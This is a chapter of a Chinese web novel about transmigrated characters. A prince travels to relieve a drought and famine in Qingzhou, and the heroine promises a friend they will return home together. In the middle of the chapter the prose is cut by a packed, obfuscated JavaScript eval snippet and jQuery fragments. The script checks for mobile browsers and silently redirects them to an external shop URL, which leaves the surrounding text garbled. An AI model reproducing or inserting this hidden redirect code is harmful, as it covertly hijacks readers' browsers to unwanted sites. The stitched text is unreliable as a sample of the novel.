29. 第二十九章

作品:《反派暴君他也有系统

    谢砚靠在引枕上,看着两人之间那种自然而然的亲近,目光淡淡地扫过,随即垂下眼睫,没有说什么。


    “咳。”他轻咳了一声,牵动了伤口,眉头皱了皱。


    沈时微转过头看他,“伤口疼?”


    “嗯。”谢砚应了一声。


    沈时微走过来,看了看他肩上的包扎,又摸了摸他的额头,“没发热,应该还好。你好好歇着,别乱动。”


    谢砚点了点头,“你们要聊?”


    沈时微愣了一下,随即笑了,“怎么,怕我跑了?”


    谢砚看了她一眼,没有回答。


    沈时微也不在意,转身看向燕子骞,“走吧,三木,出去透透气。”


    燕子骞看了谢砚一眼,又看向沈时微,点了点头。


    两人出了正堂,穿过回廊,来到后院的一处凉亭。亭子不大,四周种着几株芭蕉,午后的日光从叶缝间漏下来,在地上投下斑驳的影子。


    沈时微在石凳上坐下,拍了拍身边的位置,“坐。”


    燕子骞坐下,看着她,沉默了好一会儿,才开口,“说吧,怎么回事。”


    沈时微靠在栏杆上,望着亭外的芭蕉叶,语气平静,“就你看到的那样。我没死,假死脱身,在山里躲了一个月。谢砚被追杀,我去救他,然后就跟他回来了。”


    燕子骞盯着她,“你连我都瞒着?”


    沈时微转过头,看着他,笑了笑,“三木,你生气啦?”


    “你说呢?”燕子骞的声音有些闷,“我担心了你一个月。你倒好,躲在山里逍遥快活,连个信都不给我。”


    沈时微收了笑,认真地看着他,“三木,我不是故意瞒你。只是当时情况特殊,知道的人越少越好。我怕万一走漏了风声,连累你。”


    燕子骞叹了口气,“我知道。我就是……算了,你没事就好。”


    “你知道吗?我真的怕你真的死了。微微,你是这个世界唯一和我来自同一个世界的人,也只有你知道我的来处。我差点以为……”燕子骞的声音顿住了,没有再说下去。


    但沈时微听懂了。


    他是真的怕。


    在这个陌生的世界里,燕子骞是她唯一的同乡,她也是燕子骞唯一的同乡。他们说着同样的语言,有着同样的来处,知道彼此心里那个暂时无法回去的地方。


    如果她真的死了,这世上就只剩下他一个人了。


    沈时微心里涌上一股说不清的滋味。她伸出手,在燕子骞肩上拍了拍。


    “三木。”她轻声说,“我没死。活得好好的。”


    燕子骞看着她,好一会儿,才扯出一个笑,“嗯。活着就好。”


    “我跟系统商量过了,等我完成任务我就带你一起回家。”


    燕子骞愣住了。


    他盯着沈时微,像是没听清她的话,又像是听清了却不敢相信。


    “你说什么?”


    沈时微靠在栏杆上,日光从芭蕉叶的缝隙间漏下来,照在她脸上,映出一片柔和的光。


    “我说,等我完成任务,带你一起回家。”


    燕子骞张了张嘴,一时说不出话来。


    回家。


    这个词对他来说,已经太久远,太陌生了。远到他几乎快忘了,自己是从哪里来的。远到他已经开始说服自己,这辈子可能就这样了,在这个陌生的世界,做一个永远回不去的异乡人。


    可现在,沈时微说,带他回家。


    “你……”他的声音有些发涩,“系统同意了?”


    “嗯。”沈时微点了点头,“我攒的积分够两个人用的。而且系统说,带一个额外人员回去,需要消耗的积分也不算太多。当然,对我来说还是有点多,但慢慢攒呗。我之前在社团那么压榨你,这次总算是能帮上你一回喽。”


    燕子骞看着她,好一会儿,忽然笑了,“你呀,还是这样。”


    “殿下,宫里来人了。”


    谢砚眉头微皱,“什么事?”


    “青州急报。”聂峰压低声音,“三个月没下雨,大旱。庄稼颗粒无收,已经开始闹饥荒了。当地官员压不住,百姓聚众闹事,已经出了人命。陛下急召您入宫。”


    谢砚的眼神沉了沉。


    青州。


    那是北方主要的粮仓之一,青州出事,整个北方都要跟着遭殃。


    “更衣。”他说着就要起身,牵动了伤口,眉头皱了皱。


    “殿下,您的伤……”聂峰上前扶住他。


    “死不了。”谢砚推开他的手,“去准备。”


    聂峰不敢再劝,转身出去安排。


    青州大旱,朝廷必定要派人去赈灾。派谁?三皇子?五皇子?还是他?


    如果是他去……


    谢砚的目光落在窗外。


    如果是他去,必须带着沈时微。


    她脑子里有太多他不知道的东西。应对旱灾的法子,救灾的策略,甚至那些他听不懂的科技,都是他现在最需要的。


    正想着,聂峰回来了。


    “殿下,马车备好了。”


    谢砚点了点头,扶着聂峰站起来。


    刚走到门口,沈时微从回廊那边过来,看见他这架势,愣了一下。


    “要出去?”


    “嗯。”谢砚看着她,“宫里急召,青州出事了。”


    沈时微挑眉:“青州?”


    “大旱。”谢砚简短道,“三个月没下雨,闹饥荒了。”


    沈时微的眼神变了变。


    “你去赈灾?”


    “还不知道。”谢砚说,“父皇召见,应该是为了这事。”


    沈时微沉默了一瞬,然后点了点头。


    “去吧。”她说,“回来再说。”


    谢砚看着她,目光里闪过一丝复杂。


    但他什么都没说,只是点了点头,跟着聂峰往外走。


    沈时微站在院子里,望着他的背影消失在影壁后面,好一会儿才收回目光。


    【宿主,青州大旱是个机会。】系统的声音响起,【如果您能帮谢砚解决这个难题,任务进度能涨不少。】


    “我知道。”沈时微说。


    她转身回了房间,在桌边坐下。


    青州大旱,需要什么?


    粮食,水源,还有应对饥荒的策略。


    粮食朝廷会拨,水源得想别的办法。打井?引流?还有那些她曾经在书里看过的抗旱作物……


    都得好好想想。


    一个时辰后,谢砚回来了。


    沈时微听见动静,推门出去,看见他正从影壁那边走过来。脸色比出门时更沉了些,眉头微微皱着。


    “怎么样?”她问。


    谢砚在她面前站定,看着她。


    “父皇派我去青州。”他说,“明日出发。”


    “你的伤还没好,我跟你一起去。哦,对了,带上三木吧。”


    谢砚正愁如何能够自然而然地提出让沈时微同他一起去青州,没想到她倒是先提出来了,倒是省得他绕弯子了。


    “好。”


    青州城外,马车在官道上颠簸前行,扬起一路尘土。


    沈时微掀开车帘,望着窗外越来越近的城池。城墙斑驳,城门紧闭,城外搭着密密麻麻的简易窝棚,衣衫褴褛的百姓三三两两地聚在棚子外面,眼神空洞地望着这边。


    她的眉头皱了起来。


    燕子骞坐在她旁边,也望着窗外,脸色凝重。


    “比想象的糟。”他低声说。


    沈时微点了点头,没说话。


    对面,谢砚靠在车壁上,闭着眼。他的脸色还是不太好,伤还没好利索就赶路,显然有些撑不住。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223360|193402||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    马车在城门口停下,当地官员早已候在那里,一脸惶恐地迎上来。


    “下官参见六殿下……”


    “免了。”谢砚打断他,声音有些虚,“先进城,说说情况。”


    官员连连点头,引着马车进城。


    城内的情况比城外好不了多少。街道空旷,店铺紧闭,偶尔有几个行人匆匆走过,看见马车就躲得远远的。


    谢砚掀开车帘,望着外面,眉头越皱越紧。


    到了驿馆,官员开始汇报情况。越汇报,谢砚的脸色越沉。


    “粮仓的存粮已经见底,朝廷拨的粮还没到。百姓开始卖儿卖女,昨天又有十几个人饿死。城外那些窝棚里,每天都有尸体抬出来……”


    谢砚听着,一言不发。


    汇报结束,官员退下,屋子里只剩下他们三个人。


    沈时微看着谢砚,等着他开口。


    谢砚沉默了很久,才抬起头,看着她。


    “我想去城外看看。”他说。


    沈时微愣了一下,“你现在这样,能去?”


    “能。”谢砚说,“不亲眼看看,我心里没数。”


    沈时微看着他,看着他苍白的脸,看着他眼底那抹疲惫,心里那点软又冒了出来。


    “行。”她站起身,“我跟你去。”


    燕子骞也跟着站起来,“我也去。”


    三人换了便服,出了城。


    城外的情况,比从车帘缝隙里看到的更惨。


    窝棚低矮破旧,遮不住风,挡不住雨。棚子里的人瘦得皮包骨头,眼神空洞,看见有人经过,也只是麻木地望一眼,又垂下头去。


    有个妇人抱着孩子坐在棚子门口,孩子已经不会哭了,只是偶尔抽噎一下,声音弱得像小猫叫。妇人看见他们,忽然跪下来,磕头。


    “行行好,给口吃的吧……孩子快不行了……”


    沈时微的脚步顿住了。


    她低头看着那个妇人,看着她怀里的孩子,心里涌上一股说不清的滋味。


    谢砚也停下了。


    他蹲下来,看着那个孩子,沉默了很久。


    然后他站起身,看向随行的官员。


    “让人熬粥。”他说,“从现在开始,每天两顿,先紧着孩子和老人。”


    官员愣了一下,“殿下,粮仓的存粮……”


    “我不管粮仓。”谢砚打断他,声音很轻,却带着一种说不清的东西,“今天就开始。”


    官员不敢再说什么,连连点头。


    谢砚转身往回走。


    走了几步,他忽然停下,身体晃了晃。


    沈时微上前扶住他,“怎么了?”


    “没事。”谢砚的声音有些虚,“站久了,伤口有点疼。”


    沈时微低头看他,他的脸色比刚才更白,额角又渗出汗来。


    “回去。”她说,“不能再待了。”


    谢砚点了点头,任由她扶着往回走。


    燕子骞跟在后面,看着两人的背影,目光有些复杂。


    回到驿馆,谢砚在床上躺下,脸色白得吓人。大夫来看过,说是牵动了伤口,需要静养。


    大夫走后,沈时微在床边坐下,看着他。


    “你这是何苦?”她说,“非要去那一趟。”


    谢砚睁开眼,看着她。


    “不去,不知道他们有多惨。”他说,声音低低的,“不知道,就不会着急。”


    沈时微沉默地看着谢砚,她无法想象这样的谢砚日后真的会成为暴君。


    “你先休息吧,我和三木先商量看有没有什么办法先撑几天。”


    “我替青州百姓谢过娘娘了。”谢砚扯了扯嘴角。


    他就知道,沈时微看到青州百姓不会不心软。


    娘娘啊娘娘,心太软可是会被人利用的。